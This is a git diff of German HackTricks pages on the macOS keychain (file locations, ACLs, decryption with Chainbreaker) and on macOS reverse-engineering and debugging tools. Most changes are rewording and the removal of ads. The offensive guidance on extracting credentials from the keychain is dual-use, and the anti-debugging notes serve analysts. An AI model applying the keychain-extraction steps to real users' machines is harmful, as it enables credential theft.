Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,28 +15,15 @@ Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Haupt-Schlüsselbunde
|
||||
|
||||
* Der **Benutzer-Schlüsselbund** (`~/Library/Keychains/login.keycahin-db`), der verwendet wird, um **benutzerspezifische Anmeldeinformationen** wie Anwendungskennwörter, Internetkennwörter, benutzergenerierte Zertifikate, Netzwerkkennwörter und benutzergenerierte öffentliche/private Schlüssel zu speichern.
|
||||
* Der **System-Schlüsselbund** (`/Library/Keychains/System.keychain`), der **systemweite Anmeldeinformationen** wie WiFi-Passwörter, Systemstammzertifikate, systemeigene private Schlüssel und systemeigene Anwendungskennwörter speichert.
|
||||
* Der **Benutzerschlüsselbund** (`~/Library/Keychains/login.keycahin-db`), der verwendet wird, um **benutzerspezifische Anmeldeinformationen** wie Anwendungskennwörter, Internetkennwörter, benutzergenerierte Zertifikate, Netzwerkkennwörter und benutzergenerierte öffentliche/private Schlüssel zu speichern.
|
||||
* Der **Systemschlüsselbund** (`/Library/Keychains/System.keychain`), der **systemweite Anmeldeinformationen** wie WiFi-Kennwörter, Systemstammzertifikate, systemweite private Schlüssel und systemweite Anwendungskennwörter speichert.
|
||||
|
||||
### Passwort-Schlüsselbund-Zugriff
|
||||
### Passwort Schlüsselbund Zugriff
|
||||
|
||||
Diese Dateien, obwohl sie keinen inhärenten Schutz haben und **heruntergeladen** werden können, sind verschlüsselt und erfordern das **Klartext-Passwort des Benutzers zur Entschlüsselung**. Ein Tool wie [**Chainbreaker**](https://github.com/n0fate/chainbreaker) könnte zur Entschlüsselung verwendet werden.
|
||||
Diese Dateien, obwohl sie keinen inhärenten Schutz haben und **heruntergeladen** werden können, sind verschlüsselt und erfordern das **Klartextkennwort des Benutzers zur Entschlüsselung**. Ein Tool wie [**Chainbreaker**](https://github.com/n0fate/chainbreaker) könnte zur Entschlüsselung verwendet werden.
|
||||
|
||||
## Schutz der Schlüsselbund-Einträge
|
||||
|
||||
|
@ -45,7 +32,7 @@ Diese Dateien, obwohl sie keinen inhärenten Schutz haben und **heruntergeladen*
|
|||
Jeder Eintrag im Schlüsselbund wird durch **Zugriffskontrolllisten (ACLs)** geregelt, die festlegen, wer verschiedene Aktionen auf dem Schlüsselbund-Eintrag ausführen kann, einschließlich:
|
||||
|
||||
* **ACLAuhtorizationExportClear**: Ermöglicht dem Inhaber, den Klartext des Geheimnisses zu erhalten.
|
||||
* **ACLAuhtorizationExportWrapped**: Ermöglicht dem Inhaber, den Klartext, der mit einem anderen bereitgestellten Passwort verschlüsselt ist, zu erhalten.
|
||||
* **ACLAuhtorizationExportWrapped**: Ermöglicht dem Inhaber, den Klartext zu erhalten, der mit einem anderen bereitgestellten Kennwort verschlüsselt ist.
|
||||
* **ACLAuhtorizationAny**: Ermöglicht dem Inhaber, jede Aktion auszuführen.
|
||||
|
||||
Die ACLs werden zusätzlich von einer **Liste vertrauenswürdiger Anwendungen** begleitet, die diese Aktionen ohne Aufforderung ausführen können. Dies könnte sein:
|
||||
|
@ -67,13 +54,13 @@ Wenn ein **neuer** **Eintrag** mit **`Keychain Access.app`** erstellt wird, gelt
|
|||
* Alle Apps können verschlüsseln.
|
||||
* **Keine Apps** können exportieren/entschlüsseln (ohne den Benutzer aufzufordern).
|
||||
* Alle Apps können die Integritätsprüfung sehen.
|
||||
* Keine Apps können ACLs ändern.
|
||||
* Keine Apps können die ACLs ändern.
|
||||
* Die **partitionID** wird auf **`apple`** gesetzt.
|
||||
|
||||
Wenn eine **Anwendung einen Eintrag im Schlüsselbund erstellt**, sind die Regeln etwas anders:
|
||||
|
||||
* Alle Apps können verschlüsseln.
|
||||
* Nur die **erstellende Anwendung** (oder andere explizit hinzugefügte Apps) können exportieren/entschlüsseln (ohne den Benutzer aufzufordern).
|
||||
* Nur die **erstellende Anwendung** (oder andere ausdrücklich hinzugefügte Apps) können exportieren/entschlüsseln (ohne den Benutzer aufzufordern).
|
||||
* Alle Apps können die Integritätsprüfung sehen.
|
||||
* Keine Apps können die ACLs ändern.
|
||||
* Die **partitionID** wird auf **`teamid:[teamID hier]`** gesetzt.
|
||||
|
@ -153,17 +140,6 @@ Wenn **apple** in der **PartitionID** angegeben ist, könntest du darauf mit **`
|
|||
|
||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -10,24 +10,11 @@ Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Account-Übernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Statische Analyse
|
||||
|
||||
|
@ -114,7 +101,7 @@ ldid -S/tmp/entl.xml <binary>
|
|||
```
|
||||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) ist ein nützliches Tool, um **.pkg**-Dateien (Installer) zu inspizieren und zu sehen, was sich darin befindet, bevor man sie installiert.\
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) ist ein nützliches Tool, um **.pkg**-Dateien (Installer) zu inspizieren und zu sehen, was darin enthalten ist, bevor man sie installiert.\
|
||||
Diese Installer haben `preinstall` und `postinstall` Bash-Skripte, die von Malware-Autoren häufig missbraucht werden, um **die** **Malware** **persistieren** zu lassen.
|
||||
|
||||
### hdiutil
|
||||
|
@ -170,11 +157,11 @@ x64:
|
|||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1. Argument** | **rdi** | **self: Objekt, auf dem die Methode aufgerufen wird** |
|
||||
| **2. Argument** | **rsi** | **op: Name der Methode** |
|
||||
| **3. Argument** | **rdx** | **1. Argument für die Methode** |
|
||||
| **4. Argument** | **rcx** | **2. Argument für die Methode** |
|
||||
| **5. Argument** | **r8** | **3. Argument für die Methode** |
|
||||
| **6. Argument** | **r9** | **4. Argument für die Methode** |
|
||||
| **7. Argument und mehr** | <p><strong>rsp+</strong><br><strong>(auf dem Stack)</strong></p> | **5. Argument und mehr für die Methode** |
|
||||
| **3. Argument** | **rdx** | **1. Argument für die Methode** |
|
||||
| **4. Argument** | **rcx** | **2. Argument für die Methode** |
|
||||
| **5. Argument** | **r8** | **3. Argument für die Methode** |
|
||||
| **6. Argument** | **r9** | **4. Argument für die Methode** |
|
||||
| **7. Argument und mehr** | <p><strong>rsp+</strong><br><strong>(auf dem Stack)</strong></p> | **5. Argument und mehr für die Methode** |
|
||||
|
||||
### Dump ObjectiveC-Metadaten
|
||||
|
||||
|
@ -209,7 +196,7 @@ print(metadata.to_decl())
|
|||
```
|
||||
## Statische Swift-Analyse
|
||||
|
||||
Mit Swift-Binärdateien, da es eine Objective-C-Kompatibilität gibt, können Sie manchmal Deklarationen mit [class-dump](https://github.com/nygard/class-dump/) extrahieren, aber nicht immer.
|
||||
Mit Swift-Binärdateien, da es eine Kompatibilität zu Objective-C gibt, kann man manchmal Deklarationen mit [class-dump](https://github.com/nygard/class-dump/) extrahieren, aber nicht immer.
|
||||
|
||||
Mit den **`jtool -l`** oder **`otool -l`** Befehlen ist es möglich, mehrere Abschnitte zu finden, die mit dem Präfix **`__swift5`** beginnen:
|
||||
```bash
|
||||
|
@ -240,14 +227,14 @@ Beachten Sie, dass zum Debuggen von Binärdateien **SIP deaktiviert sein muss**
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass zum **Instrumentieren von System-Binärdateien** (wie `cloudconfigurationd`) auf macOS **SIP deaktiviert sein muss** (nur das Entfernen der Signatur funktioniert nicht).
|
||||
Beachten Sie, dass zum **Instrumentieren von System-Binärdateien** (wie `cloudconfigurationd`) auf macOS **SIP deaktiviert sein muss** (das Entfernen der Signatur funktioniert nicht).
|
||||
{% endhint %}
|
||||
|
||||
### APIs
|
||||
|
||||
macOS bietet einige interessante APIs, die Informationen über die Prozesse bereitstellen:
|
||||
macOS stellt einige interessante APIs zur Verfügung, die Informationen über die Prozesse geben:
|
||||
|
||||
* `proc_info`: Dies ist die Haupt-API, die viele Informationen über jeden Prozess liefert. Sie müssen root sein, um Informationen über andere Prozesse zu erhalten, aber Sie benötigen keine speziellen Berechtigungen oder Mach-Ports.
|
||||
* `proc_info`: Dies ist die Haupt-API, die viele Informationen über jeden Prozess liefert. Sie müssen root sein, um Informationen über andere Prozesse zu erhalten, benötigen jedoch keine speziellen Berechtigungen oder Mach-Ports.
|
||||
* `libsysmon.dylib`: Es ermöglicht, Informationen über Prozesse über XPC-exponierte Funktionen zu erhalten, jedoch ist es erforderlich, die Berechtigung `com.apple.sysmond.client` zu haben.
|
||||
|
||||
### Stackshot & Mikrostackshots
|
||||
|
@ -298,7 +285,7 @@ In der rechten Spalte können Sie interessante Informationen wie die **Navigatio
|
|||
|
||||
Es ermöglicht Benutzern den Zugriff auf Anwendungen auf einem extrem **niedrigen Niveau** und bietet eine Möglichkeit für Benutzer, **Programme** zu **verfolgen** und sogar ihren Ausführungsfluss zu ändern. Dtrace verwendet **Proben**, die **im gesamten Kernel platziert sind** und sich an Orten wie dem Anfang und Ende von Systemaufrufen befinden.
|
||||
|
||||
DTrace verwendet die Funktion **`dtrace_probe_create`**, um eine Probe für jeden Systemaufruf zu erstellen. Diese Proben können am **Einstieg und Ausgangspunkt jedes Systemaufrufs** ausgelöst werden. Die Interaktion mit DTrace erfolgt über /dev/dtrace, das nur für den Root-Benutzer verfügbar ist.
|
||||
DTrace verwendet die Funktion **`dtrace_probe_create`**, um eine Probe für jeden Systemaufruf zu erstellen. Diese Proben können am **Einstiegs- und Austrittspunkt jedes Systemaufrufs** ausgelöst werden. Die Interaktion mit DTrace erfolgt über /dev/dtrace, das nur für den Root-Benutzer verfügbar ist.
|
||||
|
||||
{% hint style="success" %}
|
||||
Um Dtrace zu aktivieren, ohne den SIP-Schutz vollständig zu deaktivieren, können Sie im Wiederherstellungsmodus ausführen: `csrutil enable --without dtrace`
|
||||
|
@ -392,11 +379,11 @@ Um mit kdebug über einen benutzerdefinierten Client zu interagieren, sind dies
|
|||
|
||||
Um diese Informationen zu erhalten, ist es möglich, das Apple-Tool **`trace`** oder das benutzerdefinierte Tool [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** zu verwenden.**
|
||||
|
||||
**Beachten Sie, dass Kdebug nur für 1 Kunden gleichzeitig verfügbar ist.** Daher kann nur ein k-debug-unterstütztes Tool zur gleichen Zeit ausgeführt werden.
|
||||
**Beachten Sie, dass Kdebug nur für 1 Kunden gleichzeitig verfügbar ist.** Daher kann nur ein k-debug-gestütztes Tool zur gleichen Zeit ausgeführt werden.
|
||||
|
||||
### ktrace
|
||||
|
||||
Die `ktrace_*` APIs stammen aus `libktrace.dylib`, die die von `Kdebug` umhüllen. Ein Client kann dann einfach `ktrace_session_create` und `ktrace_events_[single/class]` aufrufen, um Rückrufe für spezifische Codes festzulegen und es dann mit `ktrace_start` zu starten.
|
||||
Die `ktrace_*` APIs stammen von `libktrace.dylib`, die die von `Kdebug` umhüllen. Ein Client kann dann einfach `ktrace_session_create` und `ktrace_events_[single/class]` aufrufen, um Rückrufe für spezifische Codes festzulegen und es dann mit `ktrace_start` zu starten.
|
||||
|
||||
Sie können dies sogar mit **SIP aktiviert** verwenden.
|
||||
|
||||
|
@ -474,7 +461,7 @@ settings set target.x86-disassembly-flavor intel
|
|||
Innerhalb von lldb, dumpen Sie einen Prozess mit `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Befehl</strong></td><td><strong>Beschreibung</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Startet die Ausführung, die ununterbrochen fortgesetzt wird, bis ein Haltepunkt erreicht wird oder der Prozess beendet wird.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Startet die Ausführung und stoppt am Einstiegspunkt</td></tr><tr><td><strong>continue (c)</strong></td><td>Setzt die Ausführung des debugged Prozesses fort.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Führt die nächste Anweisung aus. Dieser Befehl überspringt Funktionsaufrufe.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Führt die nächste Anweisung aus. Im Gegensatz zum nexti-Befehl wird dieser Befehl in Funktionsaufrufe eintreten.</td></tr><tr><td><strong>finish (f)</strong></td><td>Führt den Rest der Anweisungen in der aktuellen Funktion (“Frame”) aus, gibt zurück und stoppt.</td></tr><tr><td><strong>control + c</strong></td><td>Pause die Ausführung. Wenn der Prozess ausgeführt (r) oder fortgesetzt (c) wurde, wird dies den Prozess anhalten ...wo auch immer er sich gerade befindet.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Jede Funktion, die main genannt wird</p><p><code>b <binname>`main</code> #Hauptfunktion des Bins</p><p><code>b set -n main --shlib <lib_name></code> #Hauptfunktion des angegebenen Bins</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Jede NSFileManager-Methode</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Brechen in allen Funktionen dieser Bibliothek</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Breakpoint-Liste</p><p><code>br e/dis <num></code> #Aktivieren/Deaktivieren des Breakpoints</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Hilfe zum Breakpoint-Befehl erhalten</p><p>help memory write #Hilfe zum Schreiben in den Speicher erhalten</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Zeigt den Speicher als nullterminierten String an.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Zeigt den Speicher als Assemblieranweisung an.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Zeigt den Speicher als Byte an.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dies wird das Objekt drucken, auf das der Parameter verweist</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Beachten Sie, dass die meisten von Apples Objective-C APIs oder Methoden Objekte zurückgeben und daher über den Befehl “print object” (po) angezeigt werden sollten. Wenn po keine sinnvolle Ausgabe erzeugt, verwenden Sie <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Schreibt AAAA in diese Adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Schreibt AAAA in die Adresse</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembliert die aktuelle Funktion</p><p>dis -n <funcname> #Disassembliert die Funktion</p><p>dis -n <funcname> -b <basename> #Disassembliert die Funktion<br>dis -c 6 #Disassembliert 6 Zeilen<br>dis -c 0x100003764 -e 0x100003768 # Von einer Adresse zur anderen<br>dis -p -c 4 # Beginnt an der aktuellen Adresse mit dem Disassemblieren</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Überprüft das Array von 3 Komponenten im x1-Register</td></tr><tr><td><strong>image dump sections</strong></td><td>Gibt eine Karte des aktuellen Prozessspeichers aus</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Erhält die Adresse aller Symbole von CoreNLP</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Befehl</strong></td><td><strong>Beschreibung</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Startet die Ausführung, die ununterbrochen fortgesetzt wird, bis ein Haltepunkt erreicht wird oder der Prozess beendet wird.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Startet die Ausführung und stoppt am Einstiegspunkt</td></tr><tr><td><strong>continue (c)</strong></td><td>Setzt die Ausführung des debugged Prozesses fort.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Führt die nächste Anweisung aus. Dieser Befehl überspringt Funktionsaufrufe.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Führt die nächste Anweisung aus. Im Gegensatz zum nexti-Befehl wird dieser Befehl in Funktionsaufrufe eintreten.</td></tr><tr><td><strong>finish (f)</strong></td><td>Führt den Rest der Anweisungen in der aktuellen Funktion (“Frame”) aus, gibt zurück und stoppt.</td></tr><tr><td><strong>control + c</strong></td><td>Pause die Ausführung. Wenn der Prozess ausgeführt (r) oder fortgesetzt (c) wurde, wird dies den Prozess anhalten ...wo auch immer er sich gerade befindet.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Jede Funktion, die main genannt wird</p><p><code>b <binname>`main</code> #Hauptfunktion des Bins</p><p><code>b set -n main --shlib <lib_name></code> #Hauptfunktion des angegebenen Bins</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Jede NSFileManager-Methode</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Break in allen Funktionen dieser Bibliothek</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Breakpoint-Liste</p><p><code>br e/dis <num></code> #Aktivieren/Deaktivieren des Breakpoints</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Hilfe zum Breakpoint-Befehl erhalten</p><p>help memory write #Hilfe zum Schreiben in den Speicher erhalten</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Zeigt den Speicher als nullterminierten String an.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Zeigt den Speicher als Assemblieranweisung an.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Zeigt den Speicher als Byte an.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dies wird das Objekt drucken, auf das der Parameter verweist</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Beachten Sie, dass die meisten von Apples Objective-C APIs oder Methoden Objekte zurückgeben und daher über den Befehl “print object” (po) angezeigt werden sollten. Wenn po keine sinnvolle Ausgabe erzeugt, verwenden Sie <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Schreibt AAAA in diese Adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Schreibt AAAA in die Adresse</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembliert die aktuelle Funktion</p><p>dis -n <funcname> #Disassembliert die Funktion</p><p>dis -n <funcname> -b <basename> #Disassembliert die Funktion<br>dis -c 6 #Disassembliert 6 Zeilen<br>dis -c 0x100003764 -e 0x100003768 # Von einer Adresse bis zur anderen<br>dis -p -c 4 # Beginnt an der aktuellen Adresse mit dem Disassemblieren</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Überprüft das Array von 3 Komponenten im x1-Register</td></tr><tr><td><strong>image dump sections</strong></td><td>Gibt eine Karte des aktuellen Prozessspeichers aus</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Erhält die Adresse aller Symbole von CoreNLP</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
Beim Aufrufen der **`objc_sendMsg`**-Funktion hält das **rsi**-Register den **Namen der Methode** als nullterminierten (“C”) String. Um den Namen über lldb auszugeben, tun Sie:
|
||||
|
@ -495,8 +482,8 @@ Beim Aufrufen der **`objc_sendMsg`**-Funktion hält das **rsi**-Register den **N
|
|||
* Durch das Spielen mit den Werten von **`hw.logicalcpu`** und **`hw.physicalcpu`** versuchen einige Malware, zu erkennen, ob es sich um eine VM handelt.
|
||||
* Einige Malware kann auch **erkennen**, ob die Maschine **VMware** basiert ist, basierend auf der MAC-Adresse (00:50:56).
|
||||
* Es ist auch möglich zu finden, **ob ein Prozess debuggt wird** mit einem einfachen Code wie:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //Prozess wird debuggt }`
|
||||
* Es kann auch den **`ptrace`** Systemaufruf mit dem **`PT_DENY_ATTACH`**-Flag aufrufen. Dies **verhindert**, dass ein Debugger anhängt und verfolgt.
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //prozess wird debuggt }`
|
||||
* Es kann auch den **`ptrace`** Systemaufruf mit dem **`PT_DENY_ATTACH`**-Flag aufrufen. Dies **verhindert**, dass ein Debugger sich anheftet und verfolgt.
|
||||
* Sie können überprüfen, ob die **`sysctl`** oder **`ptrace`** Funktion **importiert** wird (aber die Malware könnte sie dynamisch importieren)
|
||||
* Wie in diesem Bericht erwähnt, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_Die Nachricht Process # exited with **status = 45 (0x0000002d)** ist normalerweise ein sicheres Zeichen dafür, dass das Debug-Ziel **PT\_DENY\_ATTACH** verwendet._”
|
||||
|
@ -507,7 +494,7 @@ Core Dumps werden erstellt, wenn:
|
|||
|
||||
* `kern.coredump` sysctl auf 1 gesetzt ist (standardmäßig)
|
||||
* Wenn der Prozess nicht suid/sgid war oder `kern.sugid_coredump` auf 1 gesetzt ist (standardmäßig 0)
|
||||
* Das `AS_CORE`-Limit die Operation erlaubt. Es ist möglich, die Erstellung von Core Dumps zu unterdrücken, indem `ulimit -c 0` aufgerufen wird und sie mit `ulimit -c unlimited` wieder zu aktivieren.
|
||||
* Das `AS_CORE`-Limit die Operation erlaubt. Es ist möglich, die Erstellung von Core Dumps zu unterdrücken, indem Sie `ulimit -c 0` aufrufen und sie mit `ulimit -c unlimited` wieder aktivieren.
|
||||
|
||||
In diesen Fällen wird der Core Dump gemäß dem `kern.corefile` sysctl generiert und normalerweise in `/cores/core/.%P` gespeichert.
|
||||
|
||||
|
@ -515,9 +502,9 @@ In diesen Fällen wird der Core Dump gemäß dem `kern.corefile` sysctl generier
|
|||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **analysiert abstürzende Prozesse und speichert einen Absturzbericht auf der Festplatte**. Ein Absturzbericht enthält Informationen, die einem Entwickler helfen können, die Ursache eines Absturzes zu diagnostizieren.\
|
||||
ReportCrash **analysiert abstürzende Prozesse und speichert einen Absturzbericht auf der Festplatte**. Ein Absturzbericht enthält Informationen, die einem **Entwickler helfen können,** die Ursache eines Absturzes zu diagnostizieren.\
|
||||
Für Anwendungen und andere Prozesse, die **im benutzerspezifischen launchd-Kontext** ausgeführt werden, läuft ReportCrash als LaunchAgent und speichert Absturzberichte im `~/Library/Logs/DiagnosticReports/` des Benutzers.\
|
||||
Für Daemons, andere Prozesse, die **im systemweiten launchd-Kontext** ausgeführt werden, und andere privilegierte Prozesse, läuft ReportCrash als LaunchDaemon und speichert Absturzberichte im `/Library/Logs/DiagnosticReports` des Systems.
|
||||
